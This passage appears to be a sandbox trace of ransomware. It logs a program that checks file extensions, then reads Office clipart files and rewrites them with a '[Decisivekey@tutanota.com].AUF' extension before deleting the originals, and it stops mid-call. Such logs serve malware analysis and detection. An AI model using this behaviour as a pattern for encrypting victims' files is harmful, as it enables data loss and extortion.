(lpString1=".dbf", lpString2=".WMF") returned -1 [0216.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0216.547] lstrlenW (lpString=".1cd") returned 4 [0216.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0216.547] lstrlenW (lpString=".jpg") returned 4 [0216.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.547] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=6060) returned 1 [0216.547] CloseHandle (hObject=0x1f8) returned 1 [0216.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0216.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.548] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.548] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.548] GetLastError () returned 0x0 [0216.548] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x17ac, lpOverlapped=0x0) returned 1 [0216.556] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x17b0, lpOverlapped=0x0) returned 1 [0216.557] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.557] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.557] SetEndOfFile (hFile=0x21c) returned 1 [0216.557] CloseHandle (hObject=0x21c) returned 1 [0216.557] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.557] SetEndOfFile (hFile=0x1f8) returned 1 [0216.558] CloseHandle (hObject=0x1f8) returned 1 [0216.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0216.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0216.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0216.558] lstrlenW (lpString=".doc") returned 4 [0216.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.558] lstrlenW (lpString=".docx") returned 5 [0216.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.558] lstrlenW (lpString=".pdf") returned 4 [0216.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.558] lstrlenW (lpString=".xls") returned 4 [0216.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.559] lstrlenW (lpString=".xlsx") returned 5 [0216.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.559] lstrlenW (lpString=".ppt") returned 4 [0216.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0216.559] lstrlenW (lpString=".zip") returned 4 [0216.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.559] lstrlenW (lpString=".rar") returned 4 [0216.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.559] lstrlenW (lpString=".bz2") returned 4 [0216.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.559] lstrlenW (lpString=".7z") returned 3 [0216.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0216.559] lstrlenW (lpString=".dbf") returned 4 [0216.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0216.559] lstrlenW (lpString=".1cd") returned 4 [0216.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0216.559] lstrlenW (lpString=".jpg") returned 4 [0216.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.559] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=6636) returned 1 [0216.559] CloseHandle (hObject=0x1f8) returned 1 [0216.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0216.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.560] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.560] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.560] GetLastError () returned 0x0 [0216.560] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x19ec, lpOverlapped=0x0) returned 1 [0216.563] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0216.564] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.564] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.564] SetEndOfFile (hFile=0x21c) returned 1 [0216.564] CloseHandle (hObject=0x21c) returned 1 [0216.564] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.564] SetEndOfFile (hFile=0x1f8) returned 1 [0216.565] CloseHandle (hObject=0x1f8) returned 1 [0216.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0216.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0216.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0216.565] lstrlenW (lpString=".doc") returned 4 [0216.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.565] lstrlenW (lpString=".docx") returned 5 [0216.565] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.565] lstrlenW (lpString=".pdf") returned 4 [0216.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.565] lstrlenW (lpString=".xls") returned 4 [0216.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.565] lstrlenW (lpString=".xlsx") returned 5 [0216.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.566] lstrlenW (lpString=".ppt") returned 4 [0216.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0216.566] lstrlenW (lpString=".zip") returned 4 [0216.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.566] lstrlenW (lpString=".rar") returned 4 [0216.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.566] lstrlenW (lpString=".bz2") returned 4 [0216.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.566] lstrlenW (lpString=".7z") returned 3 [0216.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0216.566] lstrlenW (lpString=".dbf") returned 4 [0216.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0216.566] lstrlenW (lpString=".1cd") returned 4 [0216.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0216.566] lstrlenW (lpString=".jpg") returned 4 [0216.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.566] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=4612) returned 1 [0216.566] CloseHandle (hObject=0x1f8) returned 1 [0216.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0216.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.566] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.567] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.567] GetLastError () returned 0x0 [0216.567] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1204, lpOverlapped=0x0) returned 1 [0216.578] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1210, lpOverlapped=0x0) returned 1 [0216.578] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.578] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.579] SetEndOfFile (hFile=0x21c) returned 1 [0216.579] CloseHandle (hObject=0x21c) returned 1 [0216.579] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.579] SetEndOfFile (hFile=0x1f8) returned 1 [0216.580] CloseHandle (hObject=0x1f8) returned 1 [0216.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0216.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0216.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0216.580] lstrlenW (lpString=".doc") returned 4 [0216.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.580] lstrlenW (lpString=".docx") returned 5 [0216.580] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.580] lstrlenW (lpString=".pdf") returned 4 [0216.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.580] lstrlenW (lpString=".xls") returned 4 [0216.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.581] lstrlenW (lpString=".xlsx") returned 5 [0216.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.581] lstrlenW (lpString=".ppt") returned 4 [0216.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0216.581] lstrlenW (lpString=".zip") returned 4 [0216.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.581] lstrlenW (lpString=".rar") returned 4 [0216.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.581] lstrlenW (lpString=".bz2") returned 4 [0216.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.581] lstrlenW (lpString=".7z") returned 3 [0216.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0216.581] lstrlenW (lpString=".dbf") returned 4 [0216.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0216.581] lstrlenW (lpString=".1cd") returned 4 [0216.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0216.581] lstrlenW (lpString=".jpg") returned 4 [0216.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.581] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=8492) returned 1 [0216.581] CloseHandle (hObject=0x1f8) returned 1 [0216.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20 [0216.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.582] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.582] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.582] GetLastError () returned 0x0 [0216.582] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x212c, lpOverlapped=0x0) returned 1 [0216.590] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x2130, lpOverlapped=0x0) returned 1 [0216.591] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.591] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.591] SetEndOfFile (hFile=0x21c) returned 1 [0216.591] CloseHandle (hObject=0x21c) returned 1 [0216.591] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.591] SetEndOfFile (hFile=0x1f8) returned 1 [0216.592] CloseHandle (hObject=0x1f8) returned 1 [0216.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0216.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0216.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0216.592] lstrlenW (lpString=".doc") returned 4 [0216.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.592] lstrlenW (lpString=".docx") returned 5 [0216.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.592] lstrlenW (lpString=".pdf") returned 4 [0216.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.592] lstrlenW (lpString=".xls") returned 4 [0216.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.592] lstrlenW (lpString=".xlsx") returned 5 [0216.593] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.593] lstrlenW (lpString=".ppt") returned 4 [0216.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0216.593] lstrlenW (lpString=".zip") returned 4 [0216.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.593] lstrlenW (lpString=".rar") returned 4 [0216.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.593] lstrlenW (lpString=".bz2") returned 4 [0216.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.593] lstrlenW (lpString=".7z") returned 3 [0216.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0216.593] lstrlenW (lpString=".dbf") returned 4 [0216.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0216.593] lstrlenW (lpString=".1cd") returned 4 [0216.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0216.593] lstrlenW (lpString=".jpg") returned 4 [0216.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.593] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=7804) returned 1 [0216.593] CloseHandle (hObject=0x1f8) returned 1 [0216.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20 [0216.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.594] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.594] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.594] GetLastError () returned 0x0 [0216.594] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0216.603] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, 